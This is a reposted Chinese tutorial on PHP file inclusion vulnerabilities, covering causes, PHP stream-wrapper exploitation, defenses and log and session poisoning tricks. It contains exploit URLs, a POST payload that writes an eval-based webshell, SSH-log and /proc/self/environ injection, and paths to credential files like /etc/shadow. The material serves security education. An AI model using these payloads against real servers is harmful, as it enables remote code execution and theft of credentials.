【web安全】文件包含漏洞

news2024/11/24 18:58:26

目录

1.什么是文件包含漏洞

2.产生原因

3.文件包含的类型

3.1本地文件包含

3.2远程文件包含

4.攻击利用手法

4.1 file:协议

4.2 php://协议

​4.3 zip://,bzip2://,zlib://协议 

4.4 data://协议

4.5 PHP伪协议总结 

5.如何防御?

6.常见系统的默认路径

7.文件包含漏洞的奇技淫巧

LFI+日志文件getshell

配合文件上传漏洞

配合路径遍历漏洞

配合session文件

配合SSH日志

配合运行环境


1.什么是文件包含漏洞

想要了解文件包含漏洞,我们首先需要了解一下什么是文件包含

后端编程人员一般会把重复使用的函数写到单个文件中,需要使用时再直接调用此文件即可,该过程就被称为文件包含。

文件包含(File Inclusion)是一些对文件操作的函数未经过有效过滤,运行了恶意传入的非预期的文件路径,导致敏感信息泄露或代码执行。如果文件中存在恶意代码,无论什么样的后缀类型,文件内的恶意代码都会以当前服务器的脚本语言所执行,这就导致了文件包含漏洞的产生。

随着网站的业务的需求,程序开发人员一般希望代码更加灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校检或者校检被绕过就造成了文件包含漏洞。

2.产生原因

文件包含的存在使得开发变得更加灵活和方便,但同时也带了安全问题,导致客户端可以远程调用文件,造成文件包含漏洞。

实际上被包含文件可以是任意格式的,可以是图片、文本、源代码等等。只要文件被包含其内容也会被包含,并以当前服务器脚本语言执行。

大多数Web语言都支持文件包含操作,其中PHP语言所提供的文件包含功能太强大、太灵活,也就导致文件包含漏洞经常出现在PHP语言中。这里就以PHP语言为例,需要打开一下配置allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据。allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件。

PHP提供的可以文件包含的四个函数:

include():当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告(E_WARNING),继续向下执行;

include_once()功能与include()相同,区别在于当重复调用同一文件时,程序只调用一次

require()与include()的区别在于require()执行如果发生错误(E_COMPILE_ERROR),函数会输出错误信息,并终止脚本的运行。

require_once()功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

nighcight_file()、show_source()函数对文件进行语法高亮显示,通常能看到源代码。

readfile()、file_get_contents()函数读取一个文件,并写入输出缓冲。

fopen()函数打开一个文件或者url。

3.文件包含的类型

文件包含漏洞分为本地文件包含(Loacl File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)两种。攻击者通过文件包含漏洞可以读取系统中的敏感文件,还有可能导致任意代码执行漏洞。

3.1本地文件包含

本地文件包含漏洞指的是能打开并包含本地文件的漏洞,大部分情况下遇到的文件包含漏洞都是LFI,简单的测试用例如下所示。

<?php
    $filename = $_GET['file'];
    if(isset($file)){
        include("$file");
    }else{
        echo "file not found!";
    }
?>

3.2远程文件包含

远程文件包含漏洞是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。

该类型需要当目标服务器开启一定配置时才可以使用,当php.ini中的配置选项allow_url_fopen=on、allow_url_include=on

4.攻击利用手法

4.1 file:协议

PHP.ini:

file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

file:// [文件的绝对路径和文件名]

http://127.0.0.1/cmd.php?file=file://D:/software/phpStudy/WWW/phpinfo.txt

phpinfo.txt文件内容:

<?php phpinfo(); ?>

4.2 php://协议

条件:

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

参考自:PHP: php:// - Manual

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

PHP.ini:

php://filter在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

测试现象:

http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

PHP.ini:

allow_url_fopen :off/on

allow_url_include:on

测试现象:

http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>

也可以POST如下内容生成一句话: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>

4.3 zip://,bzip2://,zlib://协议 

PHP.ini:

zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

参考自:PHP: zlib:// - Manual

 4.3.1 zip://协议

zip://archive.zip#dir/file.txt

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

测试现象:

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

 4.3.2 bzip2://协议

使用方法:

compress.bzip2://file.bz2

测试现象:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

4.3.3 zlib://协议

使用方法:

compress.zlib://file.gz

测试现象:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

 4.4 data://协议

经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

PHP.ini:

data://协议必须双在on才能正常使用;

allow_url_fopen :on

allow_url_include:on

参考自:PHP: data:// - Manual, 官方文档上allow_url_fopen应为yes。

测试现象:

http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

也可以:

http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

4.5 PHP伪协议总结 

PHP封装协议在CTF蛮常见的,是经常会遇到的出题点,如下便是对本篇涉及的封装协议进行的总结,期待小伙伴的交流和补充。

上述中,php://filter,php://input,zip://这三个用的最多,就像data需要同时为on,条件太苛刻,几乎遇不到 。 

5.如何防御?

1、访问路径限制

PHP中使用open_basedir配置限制访问在指定的区域,限制被包含的文件只能是某一文件夹内。

2、过滤输入

过滤.(点)/(反斜杠)\(反斜杠)等特殊字符,禁止目录跳转字符如../

3、关闭高危配置

PHP文件配置allow_url_includeallow_url_fopen最小权限化。

4、白名单 对需要包含的文件设置文件白名单,包含文件的验证。

5、避免参数

尽量不要使用动态包含,可以在需要包含的页面固定写好。

6.常见系统的默认路径

c:\boot.ini //查看系统版本

c:\windows\repair\sam //存储Windows系统初次安装的密码

c:\windows\win.ini

/etc/passwd //账户信息

/etc/shadow //账户密码文件

/var/lib/php/sess_PHPSESSID  //存储session文件

7.文件包含漏洞的奇技淫巧

LFI+日志文件getshell

日志文件往往会包含我们的请求记录,如果我们知道日志的文件位置,那么我们就可以将恶意的php代码写入到日志中,然后再通过文件包含漏洞就可以执行相关的代码。

很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。

配合文件上传漏洞

一般情况下,文件包含漏洞配合文件上传漏洞使用更佳。利用文件上传漏洞,将木马文件上传到相关目录下,再通过文件包含漏洞执行该木马。

配合路径遍历漏洞

一般情况下,通过路径遍历直接包含所要查看的文件。

配合session文件

php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见存放位置:

  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

配合SSH日志

使用ssh -pssh端口 '<?php phpinfo(); ?>'@ip地址将恶意代码注入日志中,然后可包含该日志文件。

默认情况下为/var/log/auth.log

配合运行环境

php以cgi方式运行,这样environ才会保持UA头。environ文件存储位置已知且environ文件可读,/proc/self/environ

GET /index.php?file=../../../../proc/self/environ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 <?phpinfo();?> 
Connection: close

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/588124.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Tcl-11. 列表操作

Tcl 中的列表操作&#xff1a; 列表则是具有特殊解释的字符串。Tcl 中的列表操作和其它 Tcl 命令 一样具有相同的结构。 列表可应1用在诸如 foreach 这样的以列表为变元的循环命令中&#xff0c;也应于构建 eval 命令的延迟命令字符串。 一、list 命令 list 命令用来创建列表…

城市内涝的解决措施,城市内涝积水监测预警系统解决方案

随着城市化进程的加快&#xff0c;城市土地面积不断扩大&#xff0c;原本吸收雨水的土地被水泥、沥青等硬质材料所取代&#xff0c;导致雨水无法迅速渗透和排泄&#xff0c;增加了城市内涝的风险。同时&#xff0c;气候变化带来的极端降雨事件频率增加&#xff0c;更加加剧了内…

mysql触发器监听数据投递中间件

目前市面上有许多的 CDC&#xff08;Change Data Capture&#xff09; 框架用于监听数据库的数据变动&#xff0c;例如&#xff1a;canal、Debezium、Maxwell等都是用来解析 binlog 日志实现事件的监听。但是有一个情况就是如果公司对 binlog 日志文件的权限管控的很严格&#…

传统ERP和SaaS ERP区别在哪里?

一、ERP和SaaS ERP概念 企业资源计划 (ERP) 系统是许多企业的主干&#xff0c;助力管理整个企业内的会计、采购流程、项目等。对于许多 IT 部门而言&#xff0c;ERP 系统通常意味着大型、昂贵且耗时的部署&#xff0c;并可能需要进行大量硬件或基础设施投资。然而&#xff0c;…

基于标准库函数的STM32的freertos的移植(三)——MDK工程搭建、配置与修改

1.打开MDK5软件&#xff0c;新建MDK工程&#xff0c;将新建工程文件保存在Project_Stm32f407/mdk文件夹下&#xff0c;并将工程命名为freertos_M4&#xff0c;选择MCU型号为STM32F407ZG&#xff0c;新建工程文件的步骤如下图所示&#xff1a; 图1 新建工程 图2 保存工程路径和工…

ChatGPT-AI地图

ChatGPT-AI地图 1、AI-对话 应用名称应用地址ChatGPThttps://chat.openai.com/NotionAINotion AIA.I. Data Sidekick&#xff1a;AI工具编写 SQL、文档等的速度提高10倍[AirOpsWritesonic&#xff1a;人工智能写作辅助工具Writesonic - Best AI Writer, Copywriting & Par…

《深入理解计算机系统(CSAPP)》第3章 程序的机器级表示 - 学习笔记

写在前面的话&#xff1a;此系列文章为笔者学习CSAPP时的个人笔记&#xff0c;分享出来与大家学习交流&#xff0c;目录大体与《深入理解计算机系统》书本一致。因是初次预习时写的笔记&#xff0c;在复习回看时发现部分内容存在一些小问题&#xff0c;因时间紧张来不及再次整理…

MySQL 数值函数

文章目录 数值函数1. abs(num)2. ceil(num)3. floor(num)4. mod(num1,num2)5. rand()6. round(num,n)7. truncate(num,n)8. sqrt(num) 数值函数 数值函数用来处理数值方面的运算&#xff0c;能够提高用户的工作效率。常用的数值函数如下表所示&#xff0c;函数括号内为输入的参…

牛客网基础语法11~20题

前言&#xff1a;今天是咱们第二期刷牛客网上的题目。 目标&#xff1a;对输入输出的格式&#xff0c;方法&#xff0c;类型掌握熟练&#xff0c;对double&#xff0c;float理解深入&#xff0c;编程思想更进一步。 鸡汤&#xff1a;人活着&#xff0c;再苦再累&#xff0c;都别…

16-Vue技术栈之常用的 Composition API

目录 1、什么是组合式 API&#xff1f;2、拉开序幕的setup3、ref函数4、reactive函数5、Vue3.0中的响应式原理5.1 vue2.x的响应式5.2 Vue3.0的响应式 6、reactive对比ref7、setup的两个注意点8、计算属性与监视8.1 computed函数8.2 watch函数8.3 watchEffect函数 9、 生命周期1…

防雷接地的施工工艺与防雷施工方案

雷电是自然界的一种强大而危险的自然现象&#xff0c;经常造成重大财产损失和人员伤亡。为了保护建筑物和人员免受雷电的危害&#xff0c;防雷接地系统的设计和施工至关重要。本文将介绍防雷接地的施工工艺和防雷施工方案&#xff0c;强调专业和符合国家标准的方法&#xff0c;…

chatgpt赋能python:Python中乘方运算符号:用于数学计算和科学计算

Python中乘方运算符号&#xff1a;用于数学计算和科学计算 简介 乘方运算是Python中常用的数学运算符&#xff0c;通常在数学计算和科学计算中使用。在Python中&#xff0c;乘方运算符用**表示。该运算符用于计算数字的指数幂。 用法 乘方运算符可以用于两个数字之间的计算…

vue开发环境搭建-win7

vue开发环境搭建-win7 1. 安装node,js2. 设置node global(全局)和cache(缓存)路径3. 配置环境变量4. 基于 Node.js 安装cnpm&#xff08;淘宝镜像&#xff09;5. 安装vue6. 安装vue脚手架 vue-cli7. 项目创建8. 添加相关依赖9. 修改端口号10. 运行项目 1. 安装node,js 下载no…

docker版jxTMS使用指南:python服务之内置自动机

本文讲解4.0版的jxTMS中python服务的内置自动机&#xff0c;整个系列的文章请查看&#xff1a;docker版jxTMS使用指南&#xff1a;4.0版升级内容 docker版本的使用&#xff0c;请参考&#xff1a;docker版jxTMS使用指南 4.0版jxTMS中python服务是一个采集前端数据的接口机。其…

【FreeMarker】学习笔记

【FreeMarker】学习笔记 【一】FreeMarker概述【1】FreeMarker概念【2】FreeMarker特性&#xff08;1&#xff09;通用目标&#xff08;2&#xff09;强大的模板语言&#xff08;3&#xff09;通用数据模型&#xff08;4&#xff09;为Web准备&#xff08;5&#xff09;强大的X…

opencv_c++学习(三十)

一、加载深度神经网络模型 Net cv:dnn::readNet(const String & model, const String & config "", const String & framework "")model:模型文件名称 config:配置文件名称 framework:框架种类 Net类中的函数名称以及作用&#xff1a; 向…

Eplan使用过程中的知识点1

一、新建时的几种标准模板 EPLAN中的符号库符合国际标准&#xff0c;分为单线图和原理图符号库。 符号库符合GB&#xff08;国标&#xff09;、IEC&#xff08;国际标准&#xff09;、NFPA&#xff08;美国标准&#xff09;和GOST&#xff08;俄罗斯标准&#xff09;4大标准。…

排水管网监测预警系统:全面感知管网运行态势

城市排水管网是城市基础设施系统中至关重要的一部分&#xff0c;它负责将雨水和废水排出城市&#xff0c;维持城市的正常运行。然而&#xff0c;随着管网的老化和城市扩张&#xff0c;排水管网出现了越来越多的问题&#xff0c;如泄漏、堵塞和损坏&#xff0c;给城市环境和公共…

一、机器人传动方式

1、齿轮传动 齿轮的最重要属性就是它的齿数。齿轮是根据齿数分类的。齿轮通常不会单独使用&#xff0c;齿 轮的基本属性就是可以将运动从一根轴传到其它轴上。 利用齿轮改变转速 利用齿轮改变转动方向 将旋转运动改变为直线运动 带自锁的涡轮蜗杆传动 齿轮可以用来传递力、增加…

Python中打印彩色信息的方法

在Python中&#xff0c;可以使用print()函数打印出彩色信息。在使用print()打印之前&#xff0c;需要调用os标准库对系统进行设置。 1 os标准库 1.1 简介 os是Operating System的简写&#xff0c;即“操作系统”。os标准库是一个操作系统接口模块&#xff0c;提供了使用操作…